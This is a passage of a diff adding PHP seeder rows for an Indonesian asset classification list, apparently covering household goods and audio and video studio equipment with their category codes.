+ 'nama' => 'TANGKI AIR', + ], + [ + 'id_aset' => 2029, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '082', + 'nama' => 'HOME THEATER', + ], + [ + 'id_aset' => 2030, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT RUMAH TANGGA LAINNYA ( HOME USE )', + ], + [ + 'id_aset' => 2031, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT RUMAH TANGGA LAINNYA', + ], + [ + 'id_aset' => 2032, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT RUMAH TANGGA LAINNYA', + ], + [ + 'id_aset' => 2033, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"ALAT STUDIO', + ], + [ + 'id_aset' => 2034, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT STUDIO', + ], + [ + 'id_aset' => 2035, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN STUDIO AUDIO', + ], + [ + 'id_aset' => 2036, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'AUDIO MIXING CONSOLE', + ], + [ + 'id_aset' => 2037, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'AUDIO MIXING PORTABLE', + ], + [ + 'id_aset' => 2038, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'AUDIO MIXING STATIONER', + ], + [ + 'id_aset' => 2039, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'AUDIO ATTENUATOR', + ], + [ + 'id_aset' => 2040, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'AUDIO AMPLIFIER', + ], + [ + 'id_aset' => 2041, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'AUDIO ERASE UNIT', + ], + [ + 'id_aset' => 2042, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'AUDIO VIDEO SELECTOR (PERALATAN STUDIO AUDIO)', + ], + [ + 'id_aset' => 2043, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'AUDIO MONITOR ACTIVE', + ], + [ + 'id_aset' => 2044, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'AUDIO MONITOR PASSIVE', + ], + [ + 'id_aset' => 2045, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'AUDIO REVERBERATION', + ], + [ + 'id_aset' => 2046, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'AUDIO PATCH PANEL', + ], + [ + 'id_aset' => 2047, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'AUDIO DISTRIBUTION', + ], + [ + 'id_aset' => 2048, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'AUDIO TONE GENERATOR', + ], + [ + 'id_aset' => 2049, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'AUDIO CATRIDGE RECORDER', + ], + [ + 'id_aset' => 2050, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'AUDIO LOGGING RECORDER', + ], + [ + 'id_aset' => 2051, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'COMPACT DISC PLAYER', + ], + [ + 'id_aset' => 2052, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'CASSETTE DUPLICATOR', + ], + [ + 'id_aset' => 2053, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'DISC RECORD PLAYER', + ], + [ + 'id_aset' => 2054, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '019', + 'nama' => 'MULTITRACK RECORDER', + ], + [ + 'id_aset' => 2055, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '020', + 'nama' => 'REEL TAPE DUPLICATOR', + ], + [ + 'id_aset' => 2056, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '021', + 'nama' => 'COMPACT DISC JUKE BOX SYSTEM', + ], + [ + 'id_aset' => 2057, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '022', + 'nama' => 'TELEPHONE HYBRID', + ], + [ + 'id_aset' => 2058, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '023', + 'nama' => 'AUDIO PHONE IN', + ], + [ + 'id_aset' => 2059, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '024', + 'nama' => 'PROFANITY DELAY SYSTEM', + ], + [ + 'id_aset' => 2060, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '025', + 'nama' => 'AUDIO VISUAL', + ], + [ + 'id_aset' => 2061, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '026', + 'nama' => 'AUDIO FILTER', + ], + [ + 'id_aset' => 2062, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '027', + 'nama' => 'AUDIO LIMITER', + ], + [ + 'id_aset' => 2063, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '028', + 'nama' => 'AUDIO COMPRESSOR', + ], + [ + 'id_aset' => 2064, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '029', + 'nama' => 'TURN TABLE', + ], + [ + 'id_aset' => 2065, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '030', + 'nama' => 'TALK BACK UNIT', + ], + [ + 'id_aset' => 2066, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '031', + 'nama' => 'INTERCOM UNIT', + ], + [ + 'id_aset' => 2067, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '032', + 'nama' => 'BUZZER', + ], + [ + 'id_aset' => 2068, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '033', + 'nama' => 'SET STUDIO LIGHT SIGNAL', + ], + [ + 'id_aset' => 2069, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '034', + 'nama' => 'DOLBY NOISE REDUCTION', + ], + [ + 'id_aset' => 2070, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '035', + 'nama' => 'MODULATION MONITOR SPEAKER KABARET', + ], + [ + 'id_aset' => 2071, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '036', + 'nama' => 'MICROPHONE/WIRELESS MIC', + ], + [ + 'id_aset' => 2072, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '037', + 'nama' => 'MICROPHONE/BOOM STAND', + ], + [ + 'id_aset' => 2073, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '038', + 'nama' => 'MICROPHONE CONNECTOR BOX', + ], + [ + 'id_aset' => 2074, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '039', + 'nama' => 'LIGHT SIGNAL', + ], + [ + 'id_aset' => 2075, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '040', + 'nama' => 'POWER SUPPLY MICROPHONE', + ], + [ + 'id_aset' => 2076, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '041', + 'nama' => 'PROFESSIONAL SOUND SYSTEM', + ], + [ + 'id_aset' => 2077, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '042', + 'nama' => 'AUDIO MASTER CONTROL UNIT', + ], + [ + 'id_aset' => 2078, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '043', + 'nama' => 'TIME INDETIFICATION UNIT', + ], + [ + 'id_aset' => 2079, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '044', + 'nama' => 'AUDIO ANNOUNCER DESK', + ], + [ + 'id_aset' => 2080, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '045', + 'nama' => 'MASTER CLOCK (PERALATAN STUDIO AUDIO)', + ], + [ + 'id_aset' => 2081, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '046', + 'nama' => 'SLAVE CLOCK (PERALATAN STUDIO AUDIO)', + ], + [ + 'id_aset' => 2082, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '047', + 'nama' => 'AUDIO COMMAND DESK', + ], + [ + 'id_aset' => 2083, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '048', + 'nama' => 'UNINTERRUPTIBLE POWER SUPPLY (UPS)', + ], + [ + 'id_aset' => 2084, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '049', + 'nama' => 'MASTER CONTROL DESK', + ], + [ + 'id_aset' => 2085, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '050', + 'nama' => 'HEAD COMPENSATOR', + ], + [ + 'id_aset' => 2086, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '051', + 'nama' => 'AUTOMATIC VOLTAGE REGULATOR (AVR)', + ], + [ + 'id_aset' => 2087, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '053', + 'nama' => 'HUM/CABLE CONPENSATOR', + ], + [ + 'id_aset' => 2088, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '054', + 'nama' => 'EDITING & DUBBING SYSTEM', + ], + [ + 'id_aset' => 2089, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '055', + 'nama' => 'ANALOG DELAY (PERALATAN STUDIO AUDIO)', + ], + [ + 'id_aset' => 2090, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '056', + 'nama' => 'BATTERY CHARGER (PERALATAN STUDIO AUDIO)', + ], + [ + 'id_aset' => 2091, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '057', + 'nama' => 'BLANK PANEL', + ], + [ + 'id_aset' => 2092, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '058', + 'nama' => 'CONTROL UNIT HF', + ], + [ + 'id_aset' => 2093, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '059', + 'nama' => 'DELAY UNIT', + ], + [ + 'id_aset' => 2094, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '060', + 'nama' => 'POWER AMPLIFIER', + ], + [ + 'id_aset' => 2095, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '061', + 'nama' => 'PAGING MIC', + ], + [ + 'id_aset' => 2096, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '062', + 'nama' => 'COMPACT MONITOR PANEL FOR STEREO', + ], + [ + 'id_aset' => 2097, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '063', + 'nama' => 'PISTOL GRIP', + ], + [ + 'id_aset' => 2098, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '064', + 'nama' => 'MOUNTING BREAKEN', + ], + [ + 'id_aset' => 2099, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '065', + 'nama' => 'CHAIRMAN/AUDIO CONFERENCE', + ], + [ + 'id_aset' => 2100, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '066', + 'nama' => 'TIME SWITCHING', + ], + [ + 'id_aset' => 2101, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '067', + 'nama' => 'TERMINAL BOARD', + ], + [ + 'id_aset' => 2102, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '068', + 'nama' => 'ENCODER/DECODER', + ], + [ + 'id_aset' => 2103, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '069', + 'nama' => 'WIND SHIELD', + ], + [ + 'id_aset' => 2104, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '070', + 'nama' => 'RECEIVER HF/LF', + ], + [ + 'id_aset' => 2105, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '071', + 'nama' => 'RECEIVER VHF/FM', + ], + [ + 'id_aset' => 2106, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '072', + 'nama' => 'AUDIO TAPE REEL RECORDER', + ], + [ + 'id_aset' => 2107, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '073', + 'nama' => 'AUDIO CASSETTE RECORDER', + ], + [ + 'id_aset' => 2108, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '074', + 'nama' => 'COMPACT DISC RECORDER', + ], + [ + 'id_aset' => 2109, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '075', + 'nama' => 'DIGITAL AUDIO STORAGE SYSTEM', + ], + [ + 'id_aset' => 2110, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '076', + 'nama' => 'DIGITAL AUDIO TAPERECORDER', + ], + [ + 'id_aset' => 2111, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '077', + 'nama' => 'BLITZZER', + ], + [ + 'id_aset' => 2112, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '078', + 'nama' => 'AUDIO MAXIMIZER', + ], + [ + 'id_aset' => 2113, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '079', + 'nama' => 'MICROPHONE CABLE', + ], + [ + 'id_aset' => 2114, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '080', + 'nama' => 'SIGNAL INSTRUMENT SWITCER', + ], + [ + 'id_aset' => 2115, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '081', + 'nama' => 'CELLING MOUNT BRACKET', + ], + [ + 'id_aset' => 2116, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '082', + 'nama' => 'INTERFACEBOARD', + ], + [ + 'id_aset' => 2117, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '083', + 'nama' => 'VIDEO PRESENTER', + ], + [ + 'id_aset' => 2118, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '084', + 'nama' => 'MULTISCAN PROYECTOR', + ], + [ + 'id_aset' => 2119, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '085', + 'nama' => 'CABLE', + ], + [ + 'id_aset' => 2120, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '086', + 'nama' => '\"SCANNER COIR', + ], + [ + 'id_aset' => 2121, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '087', + 'nama' => 'KOMP. INTERFACE BOAR', + ], + [ + 'id_aset' => 2122, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '088', + 'nama' => 'VOICE RECORDER', + ], + [ + 'id_aset' => 2123, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '089', + 'nama' => 'AM/FM MEASUREMENT', + ], + [ + 'id_aset' => 2124, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '090', + 'nama' => 'SIGNAL ON AIR', + ], + [ + 'id_aset' => 2125, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '091', + 'nama' => 'DIGITAL LED RUNNING TEXT', + ], + [ + 'id_aset' => 2126, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '092', + 'nama' => 'ANALOG/DIGITAL RECEIVER', + ], + [ + 'id_aset' => 2127, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '093', + 'nama' => 'DIGITAL KEYBOARD TECHNICS', + ], + [ + 'id_aset' => 2128, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '094', + 'nama' => 'EXPLORIST 600', + ], + [ + 'id_aset' => 2129, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN STUDIO AUDIO LAINNYA', + ], + [ + 'id_aset' => 2130, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN STUDIO VIDEO DAN FILM', + ], + [ + 'id_aset' => 2131, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'ASSIGNMENT SWITCHER', + ], + [ + 'id_aset' => 2132, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'OFF AIR TV MONITOR', + ], + [ + 'id_aset' => 2133, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'CAMERA ELECTRONIC', + ], + [ + 'id_aset' => 2134, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'PULSE GENERATOR (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2135, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'PULSE DISTRIBUTION AMPLIFIER', + ], + [ + 'id_aset' => 2136, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'PULSE SWITCHER', + ], + [ + 'id_aset' => 2137, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'PULSE DELAY LINE', + ], + [ + 'id_aset' => 2138, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'CHARACTER GENERATOR (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2139, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'CAPTION GENERATOR', + ], + [ + 'id_aset' => 2140, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'TELECINE', + ], + [ + 'id_aset' => 2141, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '011', + 'nama' => 'VIDEO DISTRIBUTION AMPLIFIER', + ], + [ + 'id_aset' => 2142, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '012', + 'nama' => 'VIDEO MONITOR', + ], + [ + 'id_aset' => 2143, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '013', + 'nama' => 'VIDEO TAPE RECORDER PORTABLE', + ], + [ + 'id_aset' => 2144, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '014', + 'nama' => 'VIDEO TAPE RECORDER STATIONER', + ], + [ + 'id_aset' => 2145, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '015', + 'nama' => 'VIDEO MIXER', + ], + [ + 'id_aset' => 2146, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '016', + 'nama' => 'VIDEO SWITCHER', + ], + [ + 'id_aset' => 2147, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '017', + 'nama' => 'VIDEO EQUALIZER AMPLIFIER', + ], + [ + 'id_aset' => 2148, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '018', + 'nama' => 'VIDEO COLOR BAR GENERATOR', + ], + [ + 'id_aset' => 2149, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '019', + 'nama' => 'VIDEO CROSS BAR SWITCH', + ], + [ + 'id_aset' => 2150, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '020', + 'nama' => 'VIDEO TEST SIGNAL GENERATOR', + ], + [ + 'id_aset' => 2151, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '021', + 'nama' => 'VIDEO CORRECTOR', + ], + [ + 'id_aset' => 2152, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '022', + 'nama' => 'VIDEO CAPTION ADDER', + ], + [ + 'id_aset' => 2153, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '023', + 'nama' => 'VIDEO HUM COMPENSATOR', + ], + [ + 'id_aset' => 2154, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '024', + 'nama' => 'VIDEO PROCESSOR', + ], + [ + 'id_aset' => 2155, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '025', + 'nama' => 'VIDEO STATION ID GENERATOR', + ], + [ + 'id_aset' => 2156, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '026', + 'nama' => 'VIDEO PATCH PANEL', + ], + [ + 'id_aset' => 2157, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '027', + 'nama' => 'VIDEO DELAY UNIT', + ], + [ + 'id_aset' => 2158, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '028', + 'nama' => 'VIDEO PROCESSING AMPLIFIER', + ], + [ + 'id_aset' => 2159, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '029', + 'nama' => 'VIDEO EQUALIZER', + ], + [ + 'id_aset' => 2160, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '030', + 'nama' => 'VIDEO TAPE EVALUATOR', + ], + [ + 'id_aset' => 2161, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '031', + 'nama' => 'VIDEO EFFECT GENERATOR', + ], + [ + 'id_aset' => 2162, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '032', + 'nama' => 'VITS INSERTER GENERATOR', + ], + [ + 'id_aset' => 2163, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '033', + 'nama' => 'CAMERA WALL BOX', + ], + [ + 